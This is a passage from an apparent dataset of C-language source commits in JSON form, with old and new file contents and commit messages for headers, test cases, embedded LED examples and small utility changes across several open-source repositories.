windows\n","lang":"C","license":"apache-2.0","repos":"neeraj9\/otp,legoscia\/otp,dumbbell\/otp,mikpe\/otp,bjorng\/otp,uabboli\/otp,saleyn\/otp,bugs-erlang-org\/otp,matwey\/otp,lemenkov\/otp,aboroska\/otp,fenollp\/otp,mikpe\/otp,potatosalad\/otp,basho\/otp,emile\/otp,kvakvs\/otp,neeraj9\/otp,vladdu\/otp,lemenkov\/otp,bernardd\/otp,jj1bdx\/otp,fenollp\/otp,mikpe\/otp,aboroska\/otp,erlang\/otp,uabboli\/otp,basho\/otp,massemanet\/otp,rlipscombe\/otp,basho\/otp,RaimoNiskanen\/otp,emile\/otp,bernardd\/otp,vinoski\/otp,mikpe\/otp,isvilen\/otp,kvakvs\/otp,lightcyphers\/otp,kvakvs\/otp,ferd\/otp,fenollp\/otp,legoscia\/otp,dgud\/otp,RoadRunnr\/otp,lightcyphers\/otp,rlipscombe\/otp,dgud\/otp,rlipscombe\/otp,lightcyphers\/otp,RaimoNiskanen\/otp,weisslj\/otp,erlang\/otp,jj1bdx\/otp,bernardd\/otp,dgud\/otp,emacsmirror\/erlang,neeraj9\/otp,falkevik\/otp,emile\/otp,rlipscombe\/otp,goertzenator\/otp,lrascao\/otp,massemanet\/otp,cobusc\/otp,bernardd\/otp,weisslj\/otp,massemanet\/otp,isvilen\/otp,legoscia\/otp,massemanet\/otp,lemenkov\/otp,bjorng\/otp,erlang\/otp,uabboli\/otp,bjorng\/otp,falkevik\/otp,electricimp\/otp,lrascao\/otp,bernardd\/otp,emile\/otp,release-project\/otp,electricimp\/otp,vinoski\/otp,g-andrade\/otp,bjorng\/otp,goertzenator\/otp,jj1bdx\/otp,bsmr-erlang\/otp,mikpe\/otp,vladdu\/otp,getong\/otp,vinoski\/otp,kvakvs\/otp,goertzenator\/otp,emacsmirror\/erlang,neeraj9\/otp,rlipscombe\/otp,legoscia\/otp,g-andrade\/otp,RoadRunnr\/otp,rlipscombe\/otp,RaimoNiskanen\/otp,matwey\/otp,dgud\/otp,basho\/otp,basho\/otp,g-andrade\/otp,bernardd\/otp,falkevik\/otp,ahmedshafeeq\/otp,potatosalad\/otp,dgud\/otp,bernardd\/otp,lrascao\/otp,lemenkov\/otp,matwey\/otp,lrascao\/otp,goertzenator\/otp,tuncer\/otp,bugs-erlang-org\/otp,legoscia\/otp,emacsmirror\/erlang,fenollp\/otp,aboroska\/otp,tuncer\/otp,isvilen\/otp,jj1bdx\/otp,potatosalad\/otp,RoadRunnr\/otp,g-andrade\/otp,emile\/otp,bsmr-erlang\/otp,neeraj9\/otp,lrascao\/otp,vladdu\/otp,bugs-erlang-org\/otp,isvilen\/otp,vladdu\/otp,ferd\/otp,erlang\/otp,RaimoNiskanen\/otp,matwey\/otp,rlipscombe\/otp,falkevik\/otp,release-project\/otp,dumbbell\/otp,neeraj9\/otp,lightcyphers\/otp,tuncer\/otp,jj1bdx\/otp,RoadRunnr\/otp,getong\/otp,erlang\/otp,legoscia\/otp,uabboli\/otp,release-project\/otp,matwey\/otp,goertzenator\/otp,weisslj\/otp,cobusc\/otp,lrascao\/otp,saleyn\/otp,emacsmirror\/erlang,dumbbell\/otp,bugs-erlang-org\/otp,lrascao\/otp,bsmr-erlang\/otp,neeraj9\/otp,aboroska\/otp,cobusc\/otp,bjorng\/otp,lemenkov\/otp,bsmr-erlang\/otp,lightcyphers\/otp,g-andrade\/otp,jj1bdx\/otp,kvakvs\/otp,bsmr-erlang\/otp,mikpe\/otp,vinoski\/otp,vladdu\/otp,bugs-erlang-org\/otp,tuncer\/otp,jj1bdx\/otp,getong\/otp,cobusc\/otp,erlang\/otp,bjorng\/otp,release-project\/otp,isvilen\/otp,ahmedshafeeq\/otp,massemanet\/otp,ferd\/otp,vinoski\/otp,tuncer\/otp,electricimp\/otp,weisslj\/otp,ahmedshafeeq\/otp,RoadRunnr\/otp,cobusc\/otp,vinoski\/otp,g-andrade\/otp,psyeugenic\/otp,uabboli\/otp,kvakvs\/otp,bsmr-erlang\/otp,fenollp\/otp,dumbbell\/otp,rlipscombe\/otp,dumbbell\/otp,aboroska\/otp,psyeugenic\/otp,aboroska\/otp,fenollp\/otp,saleyn\/otp,ahmedshafeeq\/otp,potatosalad\/otp,goertzenator\/otp,weisslj\/otp,electricimp\/otp,weisslj\/otp,bjorng\/otp,ahmedshafeeq\/otp,vinoski\/otp,dgud\/otp,RoadRunnr\/otp,mikpe\/otp,emacsmirror\/erlang,matwey\/otp,isvilen\/otp,tuncer\/otp,ahmedshafeeq\/otp,legoscia\/otp,basho\/otp,uabboli\/otp,potatosalad\/otp,electricimp\/otp,cobusc\/otp,electricimp\/otp,vladdu\/otp,bugs-erlang-org\/otp,tuncer\/otp,falkevik\/otp,matwey\/otp,ferd\/otp,basho\/otp,release-project\/otp,ferd\/otp,saleyn\/otp,tuncer\/otp,g-andrade\/otp,weisslj\/otp,lrascao\/otp,lightcyphers\/otp,matwey\/otp,bernardd\/otp,emile\/otp,legoscia\/otp,ferd\/otp,lightcyphers\/otp,cobusc\/otp,RaimoNiskanen\/otp,ahmedshafeeq\/otp,saleyn\/otp,massemanet\/otp,fenollp\/otp,kvakvs\/otp,emile\/otp,emile\/otp,RoadRunnr\/otp,potatosalad\/otp,getong\/otp,legoscia\/otp,bugs-erlang-org\/otp,massemanet\/otp,emile\/otp,bjorng\/otp,vladdu\/otp,dgud\/otp,release-project\/otp,ahmedshafeeq\/otp,dumbbell\/otp,psyeugenic\/otp,electricimp\/otp,uabboli\/otp,getong\/otp,erlang\/otp,ferd\/otp,psyeugenic\/otp,RoadRunnr\/otp,bugs-erlang-org\/otp,isvilen\/otp,jj1bdx\/otp,kvakvs\/otp,goertzenator\/otp,saleyn\/otp,ferd\/otp,emacsmirror\/erlang,vladdu\/otp,falkevik\/otp,kvakvs\/otp,saleyn\/otp,mikpe\/otp,emacsmirror\/erlang,ahmedshafeeq\/otp,dgud\/otp,lemenkov\/otp,cobusc\/otp,release-project\/otp,RaimoNiskanen\/otp,bsmr-erlang\/otp,falkevik\/otp,electricimp\/otp,dgud\/otp,potatosalad\/otp,falkevik\/otp,aboroska\/otp,basho\/otp,potatosalad\/otp,mikpe\/otp,aboroska\/otp,emacsmirror\/erlang,emacsmirror\/erlang,psyeugenic\/otp,lemenkov\/otp,psyeugenic\/otp,isvilen\/otp,psyeugenic\/otp,getong\/otp,tuncer\/otp,RoadRunnr\/otp,vinoski\/otp,vinoski\/otp,dumbbell\/otp,RaimoNiskanen\/otp,jj1bdx\/otp,jj1bdx\/otp,goertzenator\/otp,lrascao\/otp,getong\/otp,neeraj9\/otp,bjorng\/otp,aboroska\/otp,g-andrade\/otp,rlipscombe\/otp,RaimoNiskanen\/otp,dumbbell\/otp,dumbbell\/otp,erlang\/otp,weisslj\/otp,basho\/otp,massemanet\/otp,bsmr-erlang\/otp,g-andrade\/otp,vinoski\/otp,ferd\/otp,massemanet\/otp,getong\/otp,erlang\/otp,erlang\/otp,lightcyphers\/otp,vladdu\/otp,emacsmirror\/erlang,uabboli\/otp,bjorng\/otp,bsmr-erlang\/otp,mikpe\/otp,release-project\/otp,goertzenator\/otp,isvilen\/otp,potatosalad\/otp,saleyn\/otp,lemenkov\/otp,fenollp\/otp,uabboli\/otp,getong\/otp,falkevik\/otp,psyeugenic\/otp,isvilen\/otp,dgud\/otp,rlipscombe\/otp,release-project\/otp,saleyn\/otp,matwey\/otp,dumbbell\/otp,RaimoNiskanen\/otp,g-andrade\/otp,weisslj\/otp,electricimp\/otp,potatosalad\/otp,fenollp\/otp,bernardd\/otp,getong\/otp"}
{"commit":"1bc8d2a0c5d005f2470aabf3df3f0bfc8f7c34a5","old_file":"rosserial_mbed\/src\/ros_lib\/MbedHardware.h","new_file":"rosserial_mbed\/src\/ros_lib\/MbedHardware.h","old_contents":"\/*\n * MbedHardware\n *\n *  Created on: Aug 17, 2011\n *      Author: nucho\n *\/\n\n#ifndef ROS_MBED_HARDWARE_H_\n#define ROS_MBED_HARDWARE_H_\n\n#include \"mbed.h\"\n\n#include \"MODSERIAL.h\"\n\n#define ROSSERIAL_BAUDRATE 57600\n\nclass MbedHardware {\n  public:\n    MbedHardware(MODSERIAL* io , long baud= ROSSERIAL_BAUDRATE)\n      :iostream(*io){\n      baud_ = baud;\n      t.start();\n    }\n\n    MbedHardware()\n      :iostream(USBTX, USBRX) {\n        baud_ = ROSSERIAL_BAUDRATE;\n        t.start();\n    }\n    MbedHardware(MbedHardware& h)\n      :iostream(h.iostream) {\n      this->baud_ = h.baud_;\n      t.start();\n    }\n\n    void setBaud(long baud){\n      this->baud_= baud;\n    }\n\n    int getBaud(){return baud_;}\n\n    void init(){\n        iostream.baud(baud_);\n    }\n\n    int read(){\n        if (iostream.readable()) {\n            return iostream.getc();\n        } else {\n            return -1;\n        }\n    };\n    void write(uint8_t* data, int length) {\n        for (int i=0; i<length; i++)\n             iostream.putc(data[i]);\n    }\n\n    unsigned long time(){return t.read_ms();}\n\nprotected:\n    MODSERIAL iostream;\n    long baud_;\n    Timer t;\n};\n\n\n#endif \/* ROS_MBED_HARDWARE_H_ *\/\n","new_contents":"\/*\n * MbedHardware\n *\n *  Created on: Aug 17, 2011\n *      Author: nucho\n *\/\n\n#ifndef ROS_MBED_HARDWARE_H_\n#define ROS_MBED_HARDWARE_H_\n\n#include \"mbed.h\"\n\n#include \"MODSERIAL.h\"\n\nclass MbedHardware {\n  public:\n    MbedHardware(PinName tx, PinName rx, long baud = 57600)\n      :iostream(tx, rx){\n      baud_ = baud;\n      t.start();\n    }\n\n    MbedHardware()\n      :iostream(USBTX, USBRX) {\n        baud_ = 57600;\n        t.start();\n    }\n\n    void setBaud(long baud){\n      this->baud_= baud;\n    }\n\n    int getBaud(){return baud_;}\n\n    void init(){\n        iostream.baud(baud_);\n    }\n\n    int read(){\n        if (iostream.readable()) {\n            return iostream.getc();\n        } else {\n            return -1;\n        }\n    };\n    void write(uint8_t* data, int length) {\n        for (int i=0; i<length; i++)\n             iostream.putc(data[i]);\n    }\n\n    unsigned long time(){return t.read_ms();}\n\nprotected:\n    MODSERIAL iostream;\n    long baud_;\n    Timer t;\n};\n\n\n#endif \/* ROS_MBED_HARDWARE_H_ *\/\n","subject":"Fix unnderlying issue with Stream class being private","message":"Fix unnderlying issue with Stream class being private\n","lang":"C","license":"mit","repos":"GeodesicCarbon\/protopaja-sick,GeodesicCarbon\/protopaja-sick,GeodesicCarbon\/protopaja-sick,GeodesicCarbon\/protopaja-sick,GeodesicCarbon\/protopaja-sick,GeodesicCarbon\/protopaja-sick,GeodesicCarbon\/protopaja-sick"}
{"commit":"879fdecdf38a2647c9a4793fbffedeaf150adfbd","old_file":"src\/utils\/image_persister.h","new_file":"src\/utils\/image_persister.h","old_contents":"#ifndef SRC_UTILS_IMAGE_PERSISTER_H_\n\n#define SRC_UTILS_IMAGE_PERSISTER_H_\n\n#include <string>\n#include <vector>\n#include <Magick++.h>\n#include <Eigen\/Core>\n\n\/**\n * \\brief Provides static functions to load and save images\n *\n *\/\nclass ImagePersister\n{\n public:\n  template <class T>\n  static void saveRGBA32F(T *data, int width, int height, std::string filename)\n  {\n    Magick::InitializeMagick(\"\");\n    Magick::Image image(width, height, \"RGBA\", Magick::StorageType::FloatPixel,\n                        data);\n    image.write(filename);\n  }\n\n  static std::vector<Eigen::Vector4f> loadRGBA32F(std::string filename)\n  {\n    Magick::Image image(filename);\n    std::vector<Eigen::Vector4f> result(image.columns() * image.rows());\n\n    image.write(0, 0, image.columns(), image.rows(), \"RGBA\",\n                Magick::StorageType::FloatPixel, result.data());\n\n    return result;\n  }\n};\n\n#endif  \/\/ SRC_UTILS_IMAGE_PERSISTER_H_\n","new_contents":"#ifndef SRC_UTILS_IMAGE_PERSISTER_H_\n\n#define SRC_UTILS_IMAGE_PERSISTER_H_\n\n#include <string>\n#include <vector>\n#include <Magick++.h>\n#include <Eigen\/Core>\n\n\/**\n * \\brief Provides static functions to load and save images\n *\n *\/\nclass ImagePersister\n{\n public:\n  template <class T>\n  static void saveRGBA32F(T *data, int width, int height, std::string filename)\n  {\n    Magick::InitializeMagick(\"\");\n    Magick::Image image(width, height, \"RGBA\", Magick::StorageType::FloatPixel,\n                        data);\n    image.write(filename);\n  }\n\n  static void saveR32F(float *data, int width, int height, std::string filename)\n  {\n    Magick::InitializeMagick(\"\");\n    Magick::Image image(width, height, \"R\", Magick::StorageType::FloatPixel,\n                        data);\n    image.write(filename);\n  }\n\n  static std::vector<Eigen::Vector4f> loadRGBA32F(std::string filename)\n  {\n    Magick::Image image(filename);\n    std::vector<Eigen::Vector4f> result(image.columns() * image.rows());\n\n    image.write(0, 0, image.columns(), image.rows(), \"RGBA\",\n                Magick::StorageType::FloatPixel, result.data());\n\n    return result;\n  }\n};\n\n#endif  \/\/ SRC_UTILS_IMAGE_PERSISTER_H_\n","subject":"Add method to save a single component float image.","message":"Add method to save a single component float image.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"746d16a24272b06f866634934403dbef9d59fa28","old_file":"include\/Athena-Scripting\/Utils.h","new_file":"include\/Athena-Scripting\/Utils.h","old_contents":"","new_contents":"\/**\t@file\tUtils.h\n\t@author\tPhilip Abbet\n\n\tDeclaration of some utilities related to scripting\n*\/\n\n#ifndef _ATHENA_SCRIPTING_UTILS_H_\n#define _ATHENA_SCRIPTING_UTILS_H_\n\n#include <Athena-Scripting\/Prerequisites.h>\n#include <v8.h>\n\n\nnamespace Athena {\nnamespace Scripting {\n\n    \/\/------------------------------------------------------------------------------------\n    \/\/\/ @brief\tConvert an JavaScript Object to a C++ one\n    \/\/------------------------------------------------------------------------------------\n    template<typename T>\n    T* CastJSObject(v8::Handle<v8::Value> const &h)\n    {\n        if (!h->IsObject())\n            return 0;\n        \n        v8::Local<v8::Object> obj = h->ToObject();\n        if (obj->InternalFieldCount() != 1)\n            return 0;\n        \n        v8::Local<v8::External> external = v8::Local<v8::External>::Cast(obj->GetInternalField(0));\n\n        return static_cast<T*>(external->Value());\n    }\n}\n}\n\n#endif\n","subject":"Add an utility function (CastJSObject)","message":"Add an utility function (CastJSObject)\n","lang":"C","license":"mit","repos":"Kanma\/Athena-Scripting,Kanma\/Athena-Scripting,Kanma\/Athena-Scripting"}
{"commit":"8dc65c6cdce9d25b827eb893849dec36270aaa5c","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k10\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k11\"\n","subject":"Update driver version to 5.03.00-k11","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k11\n\nSigned-off-by: Adheer Chandravanshi <7890d7472d5d21859aa8c530110140678588acf6@qlogic.com>\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"b7573553c881851d4b27382be707bdff08e14bce","old_file":"exercises\/002-blinking-led\/main.c","new_file":"exercises\/002-blinking-led\/main.c","old_contents":"","new_contents":"#include <inc\/hw_types.h>\n#include <driverlib\/sysctl.h>\n#include <stdio.h>\n#include <string.h>\n#include <inc\/hw_memmap.h>\n#include <inc\/hw_sysctl.h>\n#include <driverlib\/gpio.h>\n#include <driverlib\/debug.h>\n\nint UP=0;\nint i;\n\nint main(){\n\n\tSysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);\n\t\n\tSysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOE);\n\tGPIOPinTypeGPIOInput(GPIO_PORTE_BASE,GPIO_PIN_0 | GPIO_PIN_1 | GPIO_PIN_2 | GPIO_PIN_3);\n\tGPIOPadConfigSet(GPIO_PORTE_BASE, GPIO_PIN_0 | GPIO_PIN_1 | GPIO_PIN_2 | GPIO_PIN_3, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU);\n\t\n\tSysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF);\n\tGPIOPinTypeGPIOOutput(GPIO_PORTF_BASE,GPIO_PIN_0);\n\tGPIOPadConfigSet(GPIO_PORTF_BASE, GPIO_PIN_0 | GPIO_PIN_1 | GPIO_PIN_2 | GPIO_PIN_3, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU);\n\n\twhile(1){\n\n\t\tUP = GPIOPinRead(GPIO_PORTE_BASE,(GPIO_PIN_0));\n\t\tUP = UP&0x01;\n\n\t\tif (UP== 0x01)\n\t\t\tGPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 0x00);\n\t\telse\n\t\t\tGPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 0xFF);\n\t}\n}\n","subject":"Add blinking led example for TI Kit","message":"Add blinking led example for TI Kit","lang":"C","license":"mit","repos":"marceloboeira\/unisinos-microprocessors"}
{"commit":"93cc322e16e5876c4d2236a91982ad483f392266","old_file":"chapter1\/1-10\/external-longest.c","new_file":"chapter1\/1-10\/external-longest.c","old_contents":"","new_contents":"\/\/\n\/\/ Created by matti on 16.9.2015.\n\/\/\n\n#include <stdio.h>\n\n#define MAXLINE 1000\n\nint max;\nchar line[MAXLINE];\nchar longest[MAXLINE];\n\nint getline(void);\nvoid copy(void);\n\nint main() {\n    int len;\n    extern int max;\n    extern char longest[];\n\n    max = 0;\n    while((len = getline()) > 0) {\n        if (len > max) {\n            max = len;\n            copy();\n        }\n        if (max > 0) {\n            printf(\"%s\", longest);\n        }\n        return 0;\n    }\n}\n\nint getline(void) {\n    int c, i;\n    extern char line[];\n\n    for(i = 0; i < MAXLINE - 1 && (c=getchar()) != EOF && c != '\\n'; ++i) {\n        line[i] = c;\n        if (c == '\\n') {\n            line[i] = c;\n            ++i;\n        }\n        line[i] = '\\0';\n        return i;\n\n    }\n}","subject":"Add unfinished 1-10 external example","message":"Add unfinished 1-10 external example\n","lang":"C","license":"mit","repos":"melonmanchan\/k-and-r"}
{"commit":"f187f7b6f2ca4b719c88199e65a8ac298f5164fe","old_file":"test\/cases\/__attribute__\/ctor_dtor_warn.c","new_file":"test\/cases\/__attribute__\/ctor_dtor_warn.c","old_contents":"\/\/ RUN: %check %s\n\nint x __attribute((constructor)); \/\/ CHECK: warning: constructor attribute on non-function\n\nint main()\n{\n\tvoid f() __attribute((constructor)); \/\/ CHECK: warning: constructor attribute on non-global function\n}\n","new_contents":"\/\/ RUN: %check %s\n\nint x __attribute((constructor)); \/\/ CHECK: warning: constructor attribute on non-function\n\nstruct Q {\n\tint x __attribute((constructor)); \/\/ CHECK: warning: constructor attribute on non-function\n};\n\nint main()\n{\n\tvoid f() __attribute((constructor)); \/\/ CHECK: warning: constructor attribute on non-global function\n}\n","subject":"Check ctor\/dtor attribute on members","message":"Check ctor\/dtor attribute on members\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"5c4046786151a99e098a02b576cf036ecce32db4","old_file":"scripts\/sharedMainLayoutScripts\/closeWindowHaltScript.c","new_file":"scripts\/sharedMainLayoutScripts\/closeWindowHaltScript.c","old_contents":"","new_contents":"sharedMainLayoutScripts: closeWindowHaltScript\nClose Window [ Current Window ]\nHalt Script\nFebruary 9, 平成26 10:24:51 Imagination Quality Management.fp7 - closeWindowHaltScript -1-","subject":"Create window closing script with halt command.","message":"Create window closing script with halt command.\n\nI was selecting Halt command from the button options, but felt it is\nbetter practice to put all commands in scripts, not buttons for better\ntransparency.\n","lang":"C","license":"apache-2.0","repos":"HelpGiveThanks\/Library,HelpGiveThanks\/Library"}
{"commit":"acd3a4a5b459b405418b1651f59c38bca4fa0050","old_file":"TDTHotChocolate\/FoundationAdditions\/NSString+TDTAdditions.h","new_file":"TDTHotChocolate\/FoundationAdditions\/NSString+TDTAdditions.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSString (TDTAdditions)\n\n\/**\n @return a string representing a newly generated version 4 random UUID\n *\/\n+ (instancetype)randomUUID;\n\n\/**\n @return The SHA1 of the receiver\n *\/\n- (NSString *)sha1Digest;\n\n\/** \n @return a new string by trimming non alphanumeric characters from the receiver\n *\/\n- (NSString *)stringByTrimmingNonAlphaNumericCharacters;\n\n\/**\n @return `nil` if the receiver is blank, otherwise returns the receiver.\n *\/\n- (NSString *)stringByNillingBlanks;\n\n\/**\n There is no platform agnostic format specifier for an `NSUInteger`. Ergo this.\n *\/\n+ (NSString *)stringWithUnsignedInteger:(NSUInteger)uInteger;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSString (TDTAdditions)\n\n\/**\n @return A string representing a newly generated version 4 random UUID\n *\/\n+ (instancetype)randomUUID;\n\n\/**\n @return The SHA1 of the receiver\n *\/\n- (NSString *)sha1Digest;\n\n\/** \n @return A new string by trimming non alphanumeric characters from the receiver\n *\/\n- (NSString *)stringByTrimmingNonAlphaNumericCharacters;\n\n\/**\n @return `nil` if the receiver is blank, otherwise returns the receiver.\n *\/\n- (NSString *)stringByNillingBlanks;\n\n\/**\n There is no platform agnostic format specifier for an `NSUInteger`. Ergo this.\n *\/\n+ (NSString *)stringWithUnsignedInteger:(NSUInteger)uInteger;\n\n@end\n","subject":"Fix initial case for header documentation sentences","message":"Fix initial case for header documentation sentences\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"a9fe5d311909b20ea275fb985a7b12eb794180e6","old_file":"source\/common\/halfling_sys.h","new_file":"source\/common\/halfling_sys.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef COMMON_HALFLING_SYS_H\n#define COMMON_HALFLING_SYS_H\n\n#include \"common\/typedefs.h\"\n\n\/\/ Only include the base windows libraries\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#include <comip.h>\n\n\/\/ GDI+\n#include <gdiplus.h>\n\n\/\/ Un-define min and max from the windows headers\n#ifdef min\n\t#undef min\n#endif\n\n#ifdef max\n\t#undef max\n#endif\n#endif\n","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef COMMON_HALFLING_SYS_H\n#define COMMON_HALFLING_SYS_H\n\n#include \"common\/typedefs.h\"\n\n\/\/ Only include the base windows libraries\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#include <comip.h>\n\n\/\/ GDI+\n#include <gdiplus.h>\n\n\/\/ Un-define min and max from the windows headers\n#ifdef min\n\t#undef min\n#endif\n\n#ifdef max\n\t#undef max\n#endif\n\n#define AssertMsg(condition, message) \\\n\tdo {                                                                        \\\n\t\tif (!(condition)) {                                                     \\\n\t\t\tstd::cerr << \"Assertion `\" #condition \"` failed in \" << __FILE__    \\\n\t\t\t<< \" line \" << __LINE__ << \": \" << message << std::endl;            \\\n\t\t\tstd::exit(EXIT_FAILURE);                                            \\\n\t\t}                                                                       \\\n\t} while (false)\n\n\n#endif\n","subject":"Create define for asserting with a message","message":"COMMON: Create define for asserting with a message\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"3b85da737e88a6139139f79dd6466f32d7309f68","old_file":"TableGen\/CodeGenRegisters.h","new_file":"TableGen\/CodeGenRegisters.h","old_contents":"","new_contents":"\/\/===- CodeGenRegisters.h - Register and RegisterClass Info -----*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines structures to encapsulate information gleaned from the\n\/\/ target register and register class definitions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CODEGEN_REGISTERS_H\n#define CODEGEN_REGISTERS_H\n\n#include <string>\n\nnamespace llvm {\n  class Record;\n\n  \/\/\/ CodeGenRegister - Represents a register definition.\n  struct CodeGenRegister {\n    Record *TheDef;\n    const std::string &getName() const;\n    \n    CodeGenRegister(Record *R) : TheDef(R) {}\n  };\n\n\n  struct CodeGenRegisterClass {\n\n  };\n}\n\n#endif\n","subject":"Add initial support for register and register class representation. Obviously this is not done.","message":"Add initial support for register and register class representation.\nObviously this is not done.\n\n\ngit-svn-id: a4a6f32337ebd29ad4763b423022f00f68d1c7b7@15804 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-3-clause","repos":"lodyagin\/bare_cxx,lodyagin\/bare_cxx,lodyagin\/bare_cxx,lodyagin\/bare_cxx,lodyagin\/bare_cxx"}
{"commit":"31f937755d32d1b6d6b2c30cecc6398f2aa00b3a","old_file":"md5.h","new_file":"md5.h","old_contents":"\/* File:\t\t\tconnection.h\n *\n * Description:\t\tSee \"md.h\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* Also defined in include\/c.h *\/\n#if SIZEOF_UINT8 == 0\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n#endif   \/* SIZEOF_UINT8 == 0 *\/\n\nextern bool md5_hash(const void *buff, size_t len, char *hexsum);\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","new_contents":"\/* File:\t\t\tmd5.h\n *\n * Description:\t\tSee \"md5.c\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* Also defined in include\/c.h *\/\n#if SIZEOF_UINT8 == 0\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n#endif   \/* SIZEOF_UINT8 == 0 *\/\n\nextern bool md5_hash(const void *buff, size_t len, char *hexsum);\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","subject":"Fix comment at top of file to match file name.","message":"Fix comment at top of file to match file name.\n","lang":"C","license":"lgpl-2.1","repos":"gavioto\/psqlodbc,treasure-data\/prestogres-odbc,Distrotech\/psqlodbc,hlinnaka\/psqlodbc,treasure-data\/prestogres-odbc,treasure-data\/prestogres-odbc,Distrotech\/psqlodbc,hlinnaka\/psqlodbc,Distrotech\/psqlodbc,gavioto\/psqlodbc,hlinnaka\/psqlodbc,gavioto\/psqlodbc"}
{"commit":"df008fe115c9c2ce79cf1a412f598101ee3788c4","old_file":"tests\/feature_tests\/error_bool.c","new_file":"tests\/feature_tests\/error_bool.c","old_contents":"int main() {\n  struct A {} a;\n\n  \/\/ error: '&&' operator requires scalar operands\n  a && a;\n\n  \/\/ error: '||' operator requires scalar operands\n  a || a;\n\n  \/\/ error: '!' operator requires scalar operand\n  !a;\n}\n","new_contents":"int main() {\n  struct A {} a;\n\n  \/\/ error: '&&' operator requires scalar operands\n  a && a;\n\n  \/\/ error: '||' operator requires scalar operands\n  1 || a;\n\n  \/\/ error: '||' operator requires scalar operands\n  a || 1;\n\n  \/\/ error: '!' operator requires scalar operand\n  !a;\n}\n","subject":"Improve tests for boolean operators","message":"Improve tests for boolean operators\n","lang":"C","license":"mit","repos":"ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC"}
